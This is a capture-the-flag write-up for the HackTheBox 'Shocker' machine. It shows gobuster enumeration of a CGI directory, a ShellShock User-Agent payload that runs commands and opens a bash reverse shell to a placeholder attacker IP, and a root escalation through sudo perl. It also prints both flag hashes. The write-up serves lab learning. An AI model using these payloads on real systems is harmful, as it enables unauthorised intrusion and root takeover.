~/writeups.sh / hackthebox / shocker

Shocker

HackTheBox Easy Linux Retired

TL;DR

# 1. Find the CGI script
gobuster dir -u http://<attack_ip>/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x sh,pl,cgi

# 2. Confirm ShellShock RCE via User-Agent (test with whoami first)
curl -H "User-Agent: () { :; }; echo; /usr/bin/whoami" http://<attack_ip>/cgi-bin/user.sh

# 3. Catch reverse shell
nc -lvnp 4444

# 4. ShellShock reverse shell payload (in Burp User-Agent field)
() { :; }; echo; /bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

# 5. Privesc
sudo /usr/bin/perl -e 'exec "/bin/sh"'

Given Info

Box description: Shocker is an Easy Linux box centred around the ShellShock vulnerability (CVE-2014-6271), exposed via an Apache CGI script. The box name itself is the hint.

Recommended modules:

  • Web Enumeration
  • File Inclusion / CGI concepts
  • Linux Privilege Escalation

Note: This writeup covers manual exploitation only — no Metasploit. A Metasploit path exists via exploit/multi/http/apache_mod_cgi_bash_env_exec but working through the manual approach teaches the vulnerability mechanics far better.


Where I Got Stuck

  • Wrong wordlist — ran gobuster with a DNS subdomain wordlist against the web root. Got nothing. Wasted ~30 minutes before realising the wordlist was completely wrong for directory enumeration. Match the wordlist to the task.
  • Missing semicolon — the ShellShock payload needs () { :; }; — I had () { : } without the trailing semicolons. Got 500 errors until I spotted it.
  • Missing echo; — without the blank line after the function definition, the HTTP response body doesn’t render. The server returns a 200 but with no body. Spent time thinking the payload wasn’t working when it was.
  • No full paths — commands in CGI context don’t inherit a normal PATH. /usr/bin/whoami works. whoami doesn’t. Always use full binary paths in ShellShock payloads.

Enumeration

Nmap

nmap -sV -sC -oN nmap/initial <attack_ip>

Results:

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2

Interesting findings:

  • Apache 2.4.18 — notably old, consistent with ShellShock-era configs
  • SSH on non-standard port 2222
  • No page title on the web server — minimal default page

Gobuster — Web Root

Attempt 1 (wrong wordlist):

gobuster dns -d <attack_ip> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Result: nothing. DNS subdomain wordlist against a directory — completely wrong tool for the job.

Attempt 2 (correct wordlist):

gobuster dir -u http://<attack_ip> -w /usr/share/seclists/Discovery/Web-Content/common.txt

Results:

/cgi-bin/   (Status: 403)
/index.html (Status: 200)

/cgi-bin/ returning 403 is interesting — the directory exists but is forbidden. Worth enumerating inside it.

Gobuster — CGI-bin

gobuster dir -u http://<attack_ip>/cgi-bin/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x sh,pl,cgi

The -x sh,pl,cgi extension flag is critical here. Without it, gobuster won’t find scripts inside the CGI directory. Always add relevant extensions when enumerating CGI paths.

Results:

/cgi-bin/user.sh (Status: 200)

Visited user.sh in browser — returned uptime output. Confirmed: this is a Bash CGI script executing on the server.

CVE spotted: Apache CGI + Bash = ShellShock candidate. The box name confirmed it.


Attack Plan

Option A: Metasploit ✗ (skipped intentionally)

Metasploit has exploit/multi/http/apache_mod_cgi_bash_env_exec which automates this entirely. Skipped to understand the manual mechanics. If you just need the shell fast, it works.


Option B: Manual ShellShock via Burp Suite ✓

Why ShellShock works here: When Apache passes HTTP headers to a CGI script running under Bash, Bash processes environment variables. The ShellShock bug causes Bash to execute commands appended after a specially crafted function definition in those variables.

Payload structure:

() { :; }; echo; /usr/bin/whoami
  • () { :; }; — malformed function definition that triggers the bug
  • echo; — outputs a blank line required for HTTP header/body separation
  • /usr/bin/whoami — the actual command (full path required in CGI context)

Step 1 — Capture the request in Burp

Send a GET request to http://<attack_ip>/cgi-bin/user.sh, intercept in Burp, send to Repeater.

Step 2 — Test RCE with whoami

Replace the User-Agent header:

User-Agent: () { :; }; echo; /usr/bin/whoami

Send. Response body:

shelly

RCE confirmed as user shelly.

Step 3 — Set up listener

nc -lvnp 4444

Step 4 — Send reverse shell payload

Replace User-Agent:

User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1

Send. Shell caught as shelly.

shelly@Shocker:/usr/lib/cgi-bin$

Post Exploitation / Privilege Escalation

Step 1 — Upgrade the shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

Step 2 — Check sudo permissions

sudo -l

Result:

(root) NOPASSWD: /usr/bin/perl

shelly can run perl as root with no password. Straight to GTFOBins.

Step 3 — Perl sudo escape

sudo /usr/bin/perl -e 'exec "/bin/sh"'

Running sudo /usr/bin/perl without arguments drops into an interactive Perl REPL — not useful. The -e 'exec "/bin/sh"' flag is what spawns the shell.

Result: # — root shell.

id
uid=0(root) gid=0(root) groups=0(root)

Flags

🚩 User Flag — click to reveal cc05a4b26d073647331550733c5abdac
🚩 Root Flag — click to reveal c672f8e104f3e38dc0e30b30087c4960

What I Learned

  • Wordlist selection matters — DNS subdomain lists are for DNS enumeration. Directory lists are for directories. Wrong tool = zero results, wasted time.
  • Extensions are critical for CGI — gobuster against /cgi-bin/ without -x sh,pl,cgi finds nothing. Always add extensions relevant to the directory type.
  • ShellShock mechanics() { :; }; tricks Bash into treating what follows as a function definition, then executes the trailing command. The echo; blank line satisfies HTTP header/body separation. Full binary paths required in CGI context.
  • Box name = hint — Shocker → ShellShock. HTB box names frequently point at the primary vulnerability. Worth Googling the name before enumerating if you’re stuck.
  • GTFOBins — when sudo -l reveals a binary, go straight to GTFOBins. Don’t guess.